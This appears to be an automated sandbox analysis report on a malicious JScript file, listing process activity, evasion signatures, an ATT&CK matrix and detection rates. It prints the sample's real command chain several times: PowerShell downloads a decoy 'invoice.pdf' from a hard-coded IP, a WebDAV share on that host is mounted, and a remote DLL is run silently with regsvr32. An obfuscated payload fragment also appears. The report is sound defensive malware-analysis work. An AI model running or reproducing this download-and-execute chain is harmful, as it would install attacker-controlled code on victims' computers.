Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8441.js.csv");ITextStream.WriteLine(" entry:2525 f:tbgrfdr");ITextStream.WriteLine(" exec:2 f:tbgrfdr");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22guwkocdhs%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20fkriesve%3Dthis%5Byhwymoz%2Bpzuyebrw%2Brtrsgvxa%2Bhrwvxlv%2Bpogkedf%2Bzmndts%2Bnzdrext%2Bfxjmd%5D(this%5Bksgyr%2Bodxgsgkd%2Bojfklz%2Br");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49710

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4284			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5551			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep count: 4284 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5840	Thread sleep count: 5551 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2740	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4536	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1980	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2216	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.2970315242.00000167F842B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpl
Source: net.exe, 00000007.00000002.1746810610.000001DCE7299000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1746071227.000001DCE7238000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2971404132.00000167FDA54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\28098956525978.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
10557253441737814573.js	7%	Virustotal		Browse
10557253441737814573.js	3%	ReversingLabs

Source	Detection	Scanner	Label
